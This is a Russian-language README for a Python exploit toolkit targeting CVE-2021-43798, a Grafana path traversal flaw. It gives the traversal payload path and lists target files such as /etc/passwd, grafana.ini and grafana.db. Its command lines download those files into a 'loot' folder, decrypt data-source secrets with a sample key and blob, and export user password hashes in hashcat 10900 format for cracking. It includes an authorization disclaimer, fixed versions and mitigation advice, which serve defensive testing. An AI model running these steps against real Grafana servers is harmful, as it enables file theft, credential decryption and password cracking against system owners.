
Инструментарий на Python для авторизованного тестирования обхода пути Grafana (CVE-2021-43798), с PoC чтения произвольных файлов, дешифрованием секретов и экспортом хэшей пользователей для оценки безопасности.
Python-инструментарий для авторизованного тестирования CVE-2021-43798, уязвимости обхода пути в Grafana, которая может позволить неаутентифицированное чтение произвольных файлов через пути к ресурсам плагинов.
Этот репозиторий содержит:
grafana_poc.py: интерактивный PoC для чтения произвольных файлов, сохраняющий загруженные файлы локально.grafana_pass_decryptor.py: утилита для расшифровки зашифрованных секретов источников данных Grafana при наличии grafana.ini и/или secret_key, а также для экспорта хешей паролей пользователей Grafana из grafana.db.Используйте этот проект только на системах, которыми вы владеете, управляете или на тестирование которых имеете явное письменное разрешение. Несанкционированная эксплуатация может привести к раскрытию конфиденциальных файлов, учётных данных, закрытых ключей, содержимого баз данных и хешей паролей пользователей.
CVE-2021-43798 затрагивает версии Grafana от 8.0.0-beta1 до 8.3.0. Исправленные версии: 8.3.1, 8.2.7, 8.1.8 и 8.0.7.
Уязвимость доступна через маршруты ресурсов плагинов, например:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
Типичные файлы, запрашиваемые при авторизованной валидации, включают:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
Доступ зависит от разрешений операционной системы, выданных процессу Grafana.
requestspycryptodome или cryptography для расшифровки секретовУстановка зависимостей:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Запустите интерактивный PoC для авторизованной цели:
python3 grafana_poc.py -H http://target:3000 -o loot
По запросу введите абсолютные пути:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
Загруженные файлы сохраняются в выходной каталог с сохранением безопасной версии удалённого пути, например:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
Если у вас есть и grafana.ini, и grafana.db, расшифровщик может прочитать secret_key из конфигурационного файла и попытаться расшифровать зашифрованные секреты источников данных, уведомлений о тревогах и плагинов:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
Расшифровать один зашифрованный блок вручную:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
Вывести JSON, разделённый переводами строк:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
Пароли пользователей Grafana не являются зашифрованными секретами. Они представляют собой хеши PBKDF2 с солью. Экспортируйте их из таблицы user:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
Экспортировать только строки для режима hashcat 10900:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
Обновите Grafana до исправленной версии:
8.3.1 или новее для ветки 8.38.2.7 или новее для ветки 8.28.1.8 или новее для ветки 8.18.0.7 или новее для ветки 8.0Если немедленное обновление невозможно, в рекомендациях Grafana отмечается, что установка обратного прокси-сервера перед Grafana, нормализующего пути запросов, может смягчить поведение при обходе каталогов. Относитесь к этому как к временной мере, а не замене патча.
Оригинальный публичный PoC приписывается s1gh на Exploit-DB. Процесс расшифровки секретов Grafana вдохновлён публичными исследованиями и примерами из jas502n/Grafana-CVE-2021-43798, а этот репозиторий предоставляет Python-утилиту для лабораторного и авторизованного тестирования.